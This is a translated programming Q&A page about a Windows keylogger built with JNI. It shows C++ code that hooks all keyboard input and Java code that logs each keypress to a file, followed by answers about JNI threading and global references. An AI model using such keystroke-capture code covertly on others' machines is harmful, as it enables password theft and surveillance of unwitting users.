簡體   English   中英

需要有關jni代碼的幫助(從本機代碼調用java方法)

[英]need help on jni code(calling java method from native code)

我正在編寫一個JNI密鑰記錄器,其本機代碼如下。

#include "com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper.h"
#include "com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_KeyListener.h"
#include <cstring>
#include <windows.h>
#include <iostream>
#include <stdio.h>

HINSTANCE hinst;
HHOOK hhk;
JNIEnv * thisEnv;
jclass thisClazz;
jmethodID mid;

LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc(int ,WPARAM , LPARAM );

BOOL WINAPI DllMain(  __in  HINSTANCE hinstDLL,
  __in  DWORD fdwReason,
  __in  LPVOID lpvReserved
  ) {

 hinst = hinstDLL;
 return TRUE;
}

LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc(int nCode,WPARAM wParam, LPARAM lParam){
    thisEnv->CallStaticVoidMethod(thisClazz, mid, nCode);
    LRESULT RetVal = CallNextHookEx( hhk, nCode, wParam, lParam );
    return  RetVal;
}

JNIEXPORT void JNICALL Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_unhookKeyListener
  (JNIEnv * env, jclass clazz){
    thisEnv = NULL;
    thisClazz = NULL;
    mid = NULL;
    UnhookWindowsHookEx(hhk);
}

JNIEXPORT void JNICALL Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_hookKeyListener
  (JNIEnv * env, jclass clazz){
    thisEnv = env;
    thisClazz = clazz;
    mid = env->GetStaticMethodID( clazz, "onKeyPress", "(I)V");
    hhk = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,0);
}

該程序的目的是從本機代碼通知Java程序(靜態方法onKeyPress),在該代碼中我將記錄密鑰並通知用戶。 我將首先調用hookKeyListener(本地版本:Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_hookKeyListener),在此我將注冊Windows hook並存儲所有參數(env,jclass和mid)。 在callback( KeyboardProc )中,我將使用先前存儲的envjClassmid來通知Java程序。 最后取消注冊鈎子。

現在我面臨的問題是,沒有從本地代碼調用java方法(靜態)。以下是我的一些觀察。

1>如果在Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_hookKeyListener中調用Java方法,則它成功調用了Java方法(這意味着我可以調用靜態方法)

2>我在KeyboardProc(CallBack)中編寫了一些測試代碼,例如創建文件並將鍵登錄到其中,然后它運行良好(這意味着Hook已正確注冊,並且在按下鍵時也會被調用)

但是我無法從CallBack(KeyboardProc)調用Java代碼。我對存儲的變量(env,jClass,mid)存有疑問-是否可以將這些參數存儲到全局變量中?本機代碼?任何幫助表示贊賞。

以下是我想從本機代碼調用的Java代碼。

package com.webspur.rmtadmin.java.app.keylogger;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.util.HashMap;

public class KeyloggerHelper {

    static{
        System.loadLibrary("KeyHookLibrary");
    }

    public interface KeyListener{
        public void onKeyPress(int keyCode);
    }

    private static boolean started = false;
    private static KeyListener keyListener = null;
    private static BufferedWriter writer = null;
    private static HashMap<Integer, String> specialKeys = new HashMap<Integer, String>();

    public static void init(){
        try{
            File logFile = new File("./resources/leylog.txt");
            if(!logFile.exists())
                logFile.createNewFile();
            writer = new BufferedWriter(new FileWriter(logFile, true));
        }catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void start(KeyListener listener){
        keyListener = listener;
        if(!started)
            startInternal();
    }

    public static void stop(){
        keyListener = null;
        if(started)
            stopInternal();
    }

    private static void stopInternal() {
        try{
            unhookKeyListener();
            started = false;
            writer.close();
        }catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static native void unhookKeyListener();

    private static void startInternal(){
        hookKeyListener();
        started = true;
    }

    private static native void hookKeyListener();

    public static void onKeyPress(int keyCode){
        try{
            if(keyListener!=null)
                keyListener.onKeyPress(keyCode);
            writer.append((char)keyCode);
        }catch (Exception e) {
            //ignore..
        }
    }
}

您可以在全局變量中存儲的唯一內容是:

  1. 字段和方法ID
  2. 您顯式創建的全局引用

您不能存儲環境,也不能存儲作為參數傳遞給您的本地引用。

您不知道將在事件處理程序中調用哪個線程,因此必須顯式附加。

總而言之,請參閱http://java.sun.com/docs/books/jni/html/invoke.html

對我來說,太多代碼困擾着閱讀,伙計。

我不確定為什么需要本機代碼。 為什么不只用Java編寫整個內容,因為它可以響應鍵盤上的每個鍵?

您覺得需要本機代碼,但是要求回叫Java應該是一個提示:不要這樣做。 您已經使生活變得復雜而沒有回報。 認為“簡單”。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM